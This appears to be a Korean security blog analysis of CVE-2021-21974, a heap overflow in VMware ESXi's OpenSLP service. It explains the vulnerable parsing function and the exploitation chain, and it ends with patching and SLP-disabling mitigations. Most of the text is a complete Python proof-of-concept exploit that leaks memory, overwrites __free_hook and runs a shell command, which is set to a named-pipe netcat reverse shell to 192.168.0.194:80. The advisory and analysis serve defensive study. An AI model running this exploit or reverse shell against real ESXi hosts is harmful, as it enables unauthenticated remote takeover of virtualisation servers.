1. ESXi

- 가상 컴퓨터를 배치하고 서비스를 제공할 목적으로 VM웨어가 개발한 엔터프라이즈 계열 타입 1 하이퍼바이저

※ 하이퍼바이저: 단일 물리 머신에서 여러 가상 머신을 실행하고 관리할 수 있도록 해주는 소프트웨어

 

1.1 OpenSLP (Open Service Location Protocol)

- 클라이언트가 사전 구성 없이 네트워크에서 사용 가능한 서비스를 동적으로 검색할 수 있도록 하는 서비스 검색 프로토콜

- 대부분 UDP를 사용하나, 긴 패킷을 전송할 경우 TCP 또한 사용가능하며, 427 포트를 사용

구성 설명
User Agents
(UA, 사용자 에이전트)
- 서비스를 검색하는 장치
Service Agents
(SA, 서비스 에이전트)
- 하나 이상의 서비스를 알리는 장치
Directory Agents
(DA, 디렉터리 에이전트)
- 서비스 정보를 캐시하는 장치
- 트래픽 양을 줄이고 SLP 확장을 허용하기 위해 더 큰 네트워크에서 사용
- 선택 사항이지만 DA가 있는 경우 UA와 SA는 DA를 통해 통신

 

패킷 설명
서비스 요청 - UA가 사용하고자 하는 서비스를 네트워크에서 찾기위한 패킷
- 가능한 모든 결과를 얻기 위해 반복적으로 멀티캐스트 전송
- 참고 : https://datatracker.ietf.org/doc/html/rfc2608#section-8.1
속성 요청 - 서비스 요청에 대한 SA의 응답 패킷
- UA가 주어진 서비스 또는 전체 서비스 유형의 속성을 확인하도록 하여 사용 가능한 서비스에 대한 쿼리를 수행
- 참고 : https://datatracker.ietf.org/doc/html/rfc2608#section-10.3
서비스 등록 - SA가 서비스 등록(제공)을 위해 DA에 전송하는 패킷
- 참고: https://datatracker.ietf.org/doc/html/rfc2608#section-8.3
- URL에 대한 정보를 entry로 가짐
- 참고: https://datatracker.ietf.org/doc/html/rfc2608#section-4.3
디렉토리 에이전트 알림 - 전반적인 DA의 상태를 알리기위한 패킷
- 참고: https://datatracker.ietf.org/doc/html/rfc2608#section-8.5

 

2. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2021-21974

- ESXi에서 사용되고 있는 OpenSLP의 힙 오버플로 취약점을 트리거하여 원격 코드를 실행할 수 있는 취약점

제품명 플랫폼 영향 받는 버전
ESXi 모든 플랫폼 6.5
6.7
7.0
힙 영역
- 필요에 의해 동적으로 할당된 변수를 저장하며, 실행 시 크기가 결정됨.
- 메모리의 낮은 주소에서 높은 주소의 방향으로 할당

힙 오버플러
- 메모리 영역 중 힙 데이터 영역에서 발생하는 버퍼 오버플로우
- 프로그램의 함수 포인터를 조작하여 임의의 명령을 실행하는 등의 악성 동작을 수행

※ 스택영역: 지역변수와 매개변수가 저장되며, 함수 호출 시 크기가 결정, 메모리의 높은 주소에서 낮은 주소방향으로 할당
※ 스택 오버플러: 함수의 RET를 조작하여 임의의 명령을 실행하는 등의 악성 동작을 수행

 

2.1 분석

- OpenSLP는 관리자 권한으로 실행되며, 인증없이 입력값을 수신하고, 문자열 끝을 미지정하는 문제로 인해 힙오버플로우가 발생

 

- 취약점은 'SLPParseSrvURL' 함수에서 발생

- 해당 함수는 '디렉토리 에이전트 알림' 메시지가 처리될 때 호출됨

undefined4 SLPParseSrvUrl(int param_1,char *param_2,void **param_3)

{
  char cVar1;
  void **__ptr;
  char *pcVar2;
  char *pcVar3;
  void *pvVar4;
  char *pcVar5;
  char *__src;
  char *local_28;
  void **local_24;
  
  if (param_2 == (char *)0x0) {
    return 0x16;
  }
  *param_3 = (void *)0x0;
  __ptr = (void **)calloc(1,param_1 + 0x1d);                                       [1]
  if (__ptr == (void **)0x0) {
    return 0xc;
  }
  pcVar2 = strstr(param_2,":/");                                                   [2]
  if (pcVar2 == (char *)0x0) {
    free(__ptr);
    return 0x16;
  }
  pcVar5 = param_2 + param_1;
  memcpy((void *)((int)__ptr + 0x15),param_2,(size_t)(pcVar2 + -(int)param_2));    [3]

- [1]: param_1(URL의 길이)에 0x1d(29)를 더하여 calloc함으로써 메모리를 할당받음

- [2]: strstr()를 이용해 param_2(사용자 입력 URL)에서 :/의 위치를 찾아 이후 문자열을 pcVar2에 저장

※ strstr은 검색 문자열을 찾지 못할경우나 null 문자에 도달할 경우 0을 반환

- [3]: memcpy()를 이용해 param_2의 (size_t)(pcVar2 + -(int)param_2)만큼을 (void *)((int)__ptr + 0x15)에 복사

 

- param_2는 사용자 입력을 통해 받는 값이지만 strstr()를 사용하기 전에 param_2의 끝에 NULL을 추가하지 않음

- 따라서 범위 밖의 문자열을 검사하여 memcpy 부분에서 heap overflow가 발생

 

- SLP를 통해 RCE를 수행하기 위해 SLP에서 송수신에 사용되는 struct _SLPBuffer의 구조는 다음과 같음

typedef struct _SLPBuffer
{
    SLPListItem listitem;
    size_t  allocated;
    unsigned char*   start;
    unsigned char*   curpos;
    unsigned char*   end;
    // buffer data is appended
}*SLPBuffer;

typedef struct _SLPDSocket
{
    SLPListItem         listitem;
    int                 fd;
    time_t              age;
    int                 state;
// ...
    SLPBuffer           recvbuf; /* Incoming socket stuff */
    SLPBuffer           sendbuf;
// ...
}SLPDSocket;

- VMware의 SLP 코드를 통해 RCE를 트리거하는 과정은 다음과 같음

① 접속상태(connection->state)를 STREAM_WRITE_FIRST로서 덮어씀. 메모리를 leak 하기 위해 sendbuf->curpos를 sendbuf->start로 리셋

② sendbuf->start의 일부분을 2개의 널 바이트로 덮어씀. 연결 후 수신을 기다리면, sendbuf의 주소를 포함한 메모리를 leak 할 수 있음

③ mmap()으로 할당된 recvbuf를 leak 하기 위해 새로운 연결을 하고 sendbuf->curpos를 덮어씀. mmap 된 주소를 통해 libc base 주소를 얻을 수 있음

④ free_hook의 주소를 설정하기 위해 새로운 연결에서 recvbuf->curpos를 덮어씀. 연결 후 전송이 시작되면 free_hook을 덮어쓸 수 있습니다.

⑤ 연결을 종료하면 free_hook을 호출되여 ROP 체인을 시작

ROP(Return-Oreinted-Programming)
- ret영역에 가젯을 이용하여 연속적으로 함수를 호출하며 공격자가 원하는 흐름대로 프로그래밍 하듯 공격
- 총 두가지 과정으로 나뉘어짐
① 공격을 하기위해 필요한 요소들을 구하는 과정
② ①에서 구한 요소들을 가지고 Exploit

 

2.2 PoC

- 대상 서버에 조작된 SLP 패킷 생성 및 전송하여 힙 오버플로를 유발한 후 임의의 명령을 실행하는 과정으로 판단됨

#!/usr/bin/python3

import sys
import time
import trace
import queue
import struct
import socket
import threading

IP = sys.argv[1]
#shell_cmd = b'echo "pwned" > /tmp/pwn'
shell_cmd = b'mknod /tmp/backpipe p ; /bin/sh 0</tmp/backpipe | nc 192.168.0.194 80 1>/tmp/backpipe'

DEBUG = False
PRINT = True
LOG_LEAK = False

T = 0.3 #0.4
PORT = 427
COMMAND = 'command'
MARKER = b'\xef\xbe\xad\xde'

LISTEN = 0x65
STREAM_READ = 0x6c
STREAM_WRITE = 0x6f
STREAM_READ_FIRST = 0x6d

LISTEN_FD = 0x8

leaked_data = b'\x00\x00\x00\x00'
leaked_values = None

class SLP_Thread(threading.Thread):
    def __init__(self, input_q):
       super(SLP_Thread, self).__init__()
       self.input_q = input_q

    def run(self):
       s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
       while True:
          try:
             
             data = self.input_q.get(True, 0.05)
             name = threading.current_thread().name.replace('Thread','SLP Client') 
             
             if 'connect' == data[COMMAND]:
                if PRINT:
                   print('[' + name + '] connect')
                s.connect((IP, PORT)) 
             
             elif 'service request' == data[COMMAND]:
                arg1 = data['arg1'] 
                outgoing = self.generate_srv_rqst(arg1)
                if PRINT:
                   print('[' + name + '] service request')
                s.send(outgoing)
                d = s.recv(1024)
                if PRINT:
                   print('[' + name + '] recv: ', d)
 
             elif 'directory agent advertisement' == data[COMMAND]:
                arg1 = data['arg1']
                arg2 = data['arg2']
                outgoing = self.generate_da_advert(arg1, arg2)
                if PRINT:
                   print('[' + name + '] directory agent advertisement')
                s.send(outgoing)
                d = s.recv(1024)
                if PRINT:
                   print('[' + name + '] recv: ', d)
       
             elif 'service registration' == data[COMMAND]:
               arg1 = data['arg1']
               arg2 = data['arg2']
               arg3 = data['arg3']
               arg4 = data['arg4']       
               outgoing = self.generate_srv_reg(arg1, arg2, arg3, arg4)
               if PRINT:
                  print('[' + name + '] service registration')
               s.send(outgoing)
               d = s.recv(1024)
               if PRINT:
                  print('[' + name +'] recv: ', d)

             elif 'attribute request' == data[COMMAND]:
               arg1 = data['arg1']
               arg2 = data['arg2']
               outgoing = self.generate_attrib_rqst(arg1)
               if PRINT:
                  print('[' + name + '] attribute request')
               s.send(outgoing)
               output = b''
               for i in range(0, arg2):
                  output += s.recv(1)
               if PRINT:
                  print('[' + name + '] recv: ', output)
             
             elif 'recv' == data[COMMAND]:
                output = b''
                arg1 = data['arg1']
                arg2 = data['arg2']
                for i in range(0, arg2):
                   output += s.recv(1)
                if arg1:
                   print('[' + name + '] recv: ', output)
             
             elif 'leak data' == data[COMMAND]:
                outgoing = b''
                incoming = b''
                arg1 = data['arg1']   
  
                if arg1 > 0:
                
                   for i in range(0, arg1):
                      outgoing += s.recv(1)

                   #print(outgoing.hex())

                   global leaked_data
                   leaked_data = outgoing            
 
                else:

                   while True:
                      incoming = s.recv(1)
                      outgoing += incoming
                      if MARKER in outgoing:
                         break
                   
                   global leaked_values
                   leaked_values = []

                   try:
                      for i in range(0, len(outgoing), 4):
                         v = struct.unpack('<I', outgoing[i : i+4])[0]
                         leaked_values.append(v)
                   except:
                      pass

             elif 'close' == data[COMMAND]:
                if PRINT:
                   print('[' + name + '] close')
                s.close()
                break
       
          except queue.Empty:
             continue 

    def generate_slp_header(self, payload, functionid, xid, extoffset):
       packetlen = len(payload) + 16
       if extoffset:
          extoffset += 16
       header = bytearray([2, functionid])
       header.extend(struct.pack('!IH', packetlen, 0)[1:])
       header.extend(struct.pack('!IHH', extoffset, xid, 2)[1:])
       header.extend(b'en')
       return header

    def generate_srv_rqst(self, data):
       srvtype = prlist = scopes = predicate = b''
       spi = data
       payload = bytearray(struct.pack('!H', len(prlist)) + prlist)
       payload.extend(struct.pack('!H', len(srvtype)) + srvtype)
       payload.extend(struct.pack('!H', len(scopes)) + scopes)
       payload.extend(struct.pack('!H', len(predicate)) + predicate)
       payload.extend(struct.pack('!H', len(spi)) + spi)
       header = self.generate_slp_header(payload, 1, 5, 0)
       return header + payload

    def generate_da_advert(self, url, scopes):
       error_code = 0
       boot_time = int(time.time())
       attributes = spi = auth_blocks = b''
       payload = bytearray(struct.pack('!H', error_code) + struct.pack('!I', boot_time))
       payload.extend(struct.pack('!H', len(url)) + url)
       payload.extend(struct.pack('!H', len(scopes)) + scopes)
       payload.extend(struct.pack('!H', len(attributes)) + attributes)
       payload.extend(struct.pack('!H', len(spi)) + spi)
       payload.extend(struct.pack('!H', len(auth_blocks)) + auth_blocks)
       header = self.generate_slp_header(payload, 8, 0, 0)
       return header + payload
   
    def generate_url_entry(self, url):
       lifetime = 2 * 60 #seconds
       auth_blocks = b''
       payload = bytearray([0])
       payload.extend(struct.pack('!H', lifetime))
       payload.extend(struct.pack('!H', len(url)) + url)
       payload.extend(struct.pack('!B', len(auth_blocks)) + auth_blocks)
       return payload
   
    def generate_srv_reg(self, url, srvtype, scopes, attributes):
       attrib_auth_blocks = b''
       url_entry = self.generate_url_entry(url)
       payload = bytearray(url_entry)
       payload.extend(struct.pack('!H', len(srvtype)) + srvtype)
       payload.extend(struct.pack('!H', len(scopes)) + scopes)
       payload.extend(struct.pack('!H', len(attributes)) + attributes)
       payload.extend(struct.pack('!B', len(attrib_auth_blocks)) + attrib_auth_blocks)
       header = self.generate_slp_header(payload, 3, 20, 0)
       return header + payload
   
    def generate_attrib_rqst(self, url):
       scopes = b'DEFAULT'
       prlist = tags = spi = b''
       payload = bytearray(struct.pack('!H', len(prlist)) + prlist)
       payload.extend(struct.pack('!H', len(url)) + url)
       payload.extend(struct.pack('!H', len(scopes)) + scopes)
       payload.extend(struct.pack('!H', len(tags)) + tags)
       payload.extend(struct.pack('!H', len(spi)) + spi)
       header = self.generate_slp_header(payload, 6, 12, 0)
       return header + payload

def close():
   time.sleep(T)
   return {'command' : 'close'}

def connect():
   time.sleep(T)
   return {'command' : 'connect'}

def service_request(arg1):
   time.sleep(T)
   return {'command' : 'service request', 'arg1' : arg1}

def da_advert_request(arg1, arg2):
   time.sleep(T)
   return {'command' : 'directory agent advertisement', 'arg1' : arg1, 'arg2' : arg2}

def service_registration(arg1, arg2):
   time.sleep(T)
   return {'command' : 'service registration', 'arg1' : b'127.0.0.1', 'arg2' : arg1, 'arg3' : b'default', 'arg4' : arg2}

def attribute_request(arg1, arg2):
   time.sleep(T)
   return {'command' : 'attribute request', 'arg1' : arg1, 'arg2' : arg2}

def leak_data(arg1 = -1):
   time.sleep(T)
   return {'command' : 'leak data', 'arg1': arg1}

def overflow_and_extend(size, flag):
   arg1 = b'A' * 24
   arg2 = b'B' * 13 + struct.pack('<H', size + flag) + b':/' + b'C' * 647
   return da_advert_request(arg1, arg2)

def update_target_slpdsocket(fd, size, state):
   payload  = b'\xd0\x00\x00\x00'
   payload += b'\x00' * 8 + b'\xbe\xba\xfe\xca'
   payload += struct.pack('<I', fd)
   payload += b'\x00' * 4
   payload += struct.pack('<I', state)
   payload += b'\x00' * 12
   payload += b'\x02\x00\x00\x00'
   payload += b'\x7f\x00\x00\x01'
   payload += b'\x00' * 8
   filler = b'A' * (size - 0x76)
   return service_request(filler + payload)

def partial_update_target_send_buffer(size, send_buffer_size, flag, data):
   payload  = struct.pack('<I', send_buffer_size + flag)
   payload += b'\x00' * 8
   payload += struct.pack('<I', send_buffer_size - 0x20)
   payload += data #b'\x00' * 2
   filler = b'A' * (size - 0x56)
   return service_request(filler + payload)

def update_target_send_buffer(size, send_buffer_size, flag, address, length):
   payload = struct.pack('<I', send_buffer_size + flag)
   payload += b'\x00' * 8
   payload += struct.pack('<I', send_buffer_size - 0x20)
   payload += struct.pack('<I', address) * 2
   payload += struct.pack('<I', address + length)
   payload += b'\x00' * 0x10
   filler = b'A' * (size - 0x66)
   return service_request(filler + payload)

def update_target_recv_buffer(size, address):
   size += 0x1a
   payload  = b'\x40\x00\x00\x00'
   payload += b'\x00' * 8
   payload += struct.pack('<I', size)
   payload += struct.pack('<I', address - 26) * 2 + struct.pack('<I', address - 26 + size)     
   filler = b'A' * 0xca
   return service_request(filler + payload)

def block(size):
   if size > 0x38:
      size = size - 0x38
   else:
      size = 1
   return service_request(b'A' * size)

def breakpoint():
   time.sleep(T)
   input('breakpoint')

def exploit():
   count = 60
   requests = [0]
   slpclients = [0]

   global leaked_data
   global leaked_values

   requests.extend([queue.Queue() for i in range(1, count)])
   slpclients.extend([SLP_Thread(input_q = requests[i]) for i in range(1, count)])

   for i in range(1, count):
      slpclients[i].start()

   requests[1].put(connect())
   requests[1].put(da_advert_request(b'roflmao://pwning', b'BBB'))

   requests[2].put(connect())
   requests[3].put(connect())
   requests[4].put(connect())
   requests[5].put(connect())

   requests[2].put(block(0x40))
   requests[3].put(block(0x40))
   requests[4].put(block(0x40))
   requests[5].put(block(0x40))

   requests[6].put(connect())
   requests[6].put(block(0x810))
   requests[7].put(connect())
   requests[8].put(connect())
   requests[6].put(close())
   requests[9].put(connect())
   requests[9].put(overflow_and_extend(0x140, 0x1))
   fd = 0xc
   requests[8].put(update_target_slpdsocket(fd, 0x140, STREAM_READ_FIRST))
   requests[7].put(service_registration(b'service:pwn', MARKER + b'B' * (0x3200 - 21 - 4)))
   requests[8].put(update_target_slpdsocket(LISTEN_FD, 0x140, LISTEN))
   requests[10].put(connect())
   requests[10].put(block(0x70))

   requests[11].put(connect())
   requests[12].put(connect())
   requests[13].put(connect())
   requests[11].put(block(0x810))
   requests[14].put(connect())
   requests[14].put(block(0x160))
   requests[12].put(block(0x810))
   requests[14].put(close())
   requests[15].put(connect())
   requests[15].put(attribute_request(b'service:pwn', 0x20))

   requests[13].put(block(0x110))
   requests[16].put(connect())
   requests[17].put(connect())

   requests[12].put(close())
   requests[18].put(connect())
   requests[18].put(overflow_and_extend(0x120, 0x3))
   requests[17].put(partial_update_target_send_buffer(0x120, 0x3220, 0x1, b'\x00\x00'))
   requests[19].put(connect())
   requests[19].put(block(0x178))

   requests[11].put(close())
   requests[20].put(connect())
   requests[20].put(overflow_and_extend(0x140, 0x1))
   fd = 0x11
   requests[16].put(update_target_slpdsocket(fd, 0x140, STREAM_WRITE))
   requests[16].put(update_target_slpdsocket(LISTEN_FD, 0x140, LISTEN))
   requests[21].put(connect())
   requests[21].put(block(0x178))
   requests[15].put(leak_data())

   time.sleep(T + 1.0)

   heap_address = 0
   libc_base_address = 0

   if leaked_values == None:
      print("[-] Exploit Failed [-]")
      return -1

   leaked_values = leaked_values[::-1]

   if LOG_LEAK:  
      for i in leaked_values:
         print(hex(i))
 
   if leaked_values[0] == 0xdeadbeef:
      heap_address = leaked_values[6] - 0x3220 + 0x4
     
   elif leaked_values[0] == 0xefeb3174:
      heap_offset = 0x2b1 if leaked_values[42] == 0x42424242 else 0x5d61
      heap_address = leaked_values[14] + heap_offset
   
   libc_leak_location = heap_address - 0x100 + 4
      
   requests[22].put(connect())
   requests[22].put(block(0x810))
   requests[23].put(connect())
   requests[23].put(block(0x100))
   requests[24].put(connect())
   requests[24].put(block(0x810))
   requests[23].put(close())
   requests[25].put(connect())
   requests[25].put(block(0x698))

   requests[27].put(connect())
   requests[28].put(connect())

   requests[24].put(close())
   requests[26].put(connect())
   requests[26].put(overflow_and_extend(0x130, 0x1))
   requests[27].put(update_target_send_buffer(0x130, 0x598, 0x1, libc_leak_location, 0x4))
   requests[29].put(connect())
   requests[29].put(block(0x178))
   
   requests[22].put(close())
   requests[30].put(connect())
   requests[30].put(overflow_and_extend(0x140, 0x1)) 
   fd = 0x15
   requests[28].put(update_target_slpdsocket(fd, 0x140, STREAM_WRITE))
   requests[28].put(update_target_slpdsocket(LISTEN_FD, 0x140, LISTEN))
   requests[31].put(connect())
   requests[31].put(block(0x178))
   requests[25].put(leak_data(0x4))
 
   time.sleep(T + 1.0)
   libc_base_address = struct.unpack('<I', leaked_data)[0] - 0x193568

   libc_ret_offset = 0x0008009c
   libc_system_offset = 0x0003e390
   libc_environ_offset = 0x00194e20
   libc___free_hook_offset = 0x001948d8
   libc_ret_address = libc_base_address + libc_ret_offset
   libc_system_address = libc_base_address + libc_system_offset
   libc_environ_address = libc_base_address + libc_environ_offset
   libc___free_hook_address = libc_base_address + libc___free_hook_offset
   shell_cmd_address = heap_address + 0x34

   gadget_offset = 0x0007fe01 # add esp, 0x100 ; ret
   gadget_address = libc_base_address + gadget_offset

   requests[27].put(update_target_send_buffer(0x130, 0x598, 0x1, libc_environ_address, 0x4))
   requests[28].put(update_target_slpdsocket(fd, 0x140, STREAM_WRITE))
   requests[25].put(leak_data(0x4))
 
   time.sleep(T + 1.0)
   stack_environ_address =  struct.unpack('<I', leaked_data)[0]
   esp_offset = 0xe30 if sys.argv[2] == '1' else 0xe7c
   esp_value = stack_environ_address - esp_offset
   pivoted_esp_value = esp_value + 0x100

   print()
   print('[+] libc base address: ', hex(libc_base_address))
   print("[+] libc system address: ", hex(libc_system_address))
   print("[+] libc environ address: ", hex(libc_environ_address))
   print("[+] libc __free_hook address: ", hex(libc___free_hook_address))
   print("[+] ret address: ", hex(libc_ret_address))
   print("[+] gadget address: ", hex(gadget_address))
   print('[+] heap address: ', hex(heap_address))
   print("[+] shell command address: ", hex(shell_cmd_address))
   print("[+] stack enviorn address: ", hex(stack_environ_address))
   print("[+] esp value: ", hex(esp_value))
   print("[+] pivoted esp value: ", hex(pivoted_esp_value))
   print()

   requests[28].put(update_target_slpdsocket(LISTEN_FD, 0x140, LISTEN))
   
   requests[32].put(connect())
   requests[32].put(block(0x810))
   requests[33].put(connect())
   requests[34].put(connect())
   requests[34].put(block(0x810))
   requests[33].put(block(0x100))
  
   requests[35].put(connect())
   requests[36].put(connect())

   requests[34].put(close())
   requests[37].put(connect())
   requests[37].put(overflow_and_extend(0x120, 0x3))
   requests[36].put(update_target_recv_buffer(0x4, shell_cmd_address))
   requests[38].put(connect())
   requests[38].put(block(0x178))
   
   requests[32].put(close())
   requests[39].put(connect())
   requests[39].put(overflow_and_extend(0x140, 0x1))
   requests[35].put(update_target_slpdsocket(LISTEN_FD, 0x140, LISTEN))
   requests[40].put(connect())
   requests[40].put(block(0x178))   

   fd = 0x1a
   payload = shell_cmd + b'\x00'
   requests[36].put(update_target_recv_buffer(len(payload), shell_cmd_address))
   requests[35].put(update_target_slpdsocket(fd, 0x140, STREAM_READ))
   requests[33].put(service_request(payload))
   
   payload = struct.pack('<I', libc_ret_address) * 10 + struct.pack('<I', libc_system_address) + b'\x41' * 4 + struct.pack('<I', shell_cmd_address)
   requests[36].put(update_target_recv_buffer(len(payload), pivoted_esp_value - 0x10)) 
   requests[35].put(update_target_slpdsocket(fd, 0x140, STREAM_READ))
   requests[33].put(service_request(payload))
   
   #breakpoint()
   
   payload = b'\x41\x41\x41\x41' if DEBUG == True else struct.pack('<I', gadget_address)
   requests[36].put(update_target_recv_buffer(len(payload), libc___free_hook_address))
   requests[35].put(update_target_slpdsocket(fd, 0x140, STREAM_READ))
   requests[33].put(service_request(payload))

   time.sleep(T + 1.0) 
   print('[*] exploit deployed')
   return 0

def intro():
   print("   _____   _____   ___ __ ___ _    ___ _ ___ ____ _ _       ")
   print("  / __\ \ / / __|_|_  )  \_  ) |__|_  ) / _ \__  | | |      ")
   print(" | (__ \ V /| _|___/ / () / /| |___/ /| \_, / / /|_  _|     ")
   print("  \___| \_/ |___| /___\__/___|_|  /___|_|/_/ /_/   |_|      ")
   print()
   print("                       PoC Exploit                          ")
   print()
   print("      vuln discovered by: Lucas Leong (@_wmliang_)          ")
   print("           poc by: Johnny Yu (@straight_blast)              ")
   print("                                                            ")
   print()
   print("           currently support the following:                 ")
   print("         [1] VMware ESXi 6.7.0 build-14320388               ")
   print("         [2] VMware ESXi 6.7.0 build-16316930               ")
   print()

if __name__ == '__main__':
   intro()   
   exploit()

3. 대응방안

① 최신 업데이트 적용

※ 참고: https://www.vmware.com/security/advisories/VMSA-2021-0002.html

제품명 플랫폼 영향 받는 버전 패치 버전
ESXi 모든 플랫폼 6.5 ESXi650-202102101-SG
6.7 ESXi670-202102401-SG
7.0 ESXi70U1c-17325551

 

② SLP 서비스 사용 중지

  ⒜ 명령어 사용

    i) ssh로 취약한 ESXi 호스트에 로그인
    ii) 아래 명령어로 호스트 SLP 서비스 중지
      - /etc/init.d/slpd stop
    iii) 재부팅 후에도 비활성화를 유지하려면 아래 명령어를 입력
      - chkconfig slpd off

 

  ⒝ GUI 사용

    i) vCenter에 로그인
    ii) ESXi 호스트를 선택하고 'Configure'-'Service' 탭 클릭
    iii) 목록에서 SLP 서비스를 선택
      * 목록에 SLP가 없다면 명령어로 SLP 서비스를 중지
    iv) 알림창의 서비스 중지 버튼('OK')를 클릭

 

4. 참고

https://nvd.nist.gov/vuln/detail/CVE-2021-21974
https://www.vmware.com/security/advisories/VMSA-2021-0002.html
https://github.com/Shadow0ps/CVE-2021-21974/blob/main/2021-21974-POC.py
https://straightblast.medium.com/my-poc-walkthrough-for-cve-2021-21974-a266bcad14b9
https://www.zerodayinitiative.com/blog/2021/3/1/cve-2020-3992-amp-cve-2021-21974-pre-auth-remote-code-execution-in-vmware-esxi
- https://www.krcert.or.kr/data/secNoticeView.do?bulletin_writing_sequence=3592
- https://koren.kr/kor/Alram/notiView.asp?s=4082 

+ Recent posts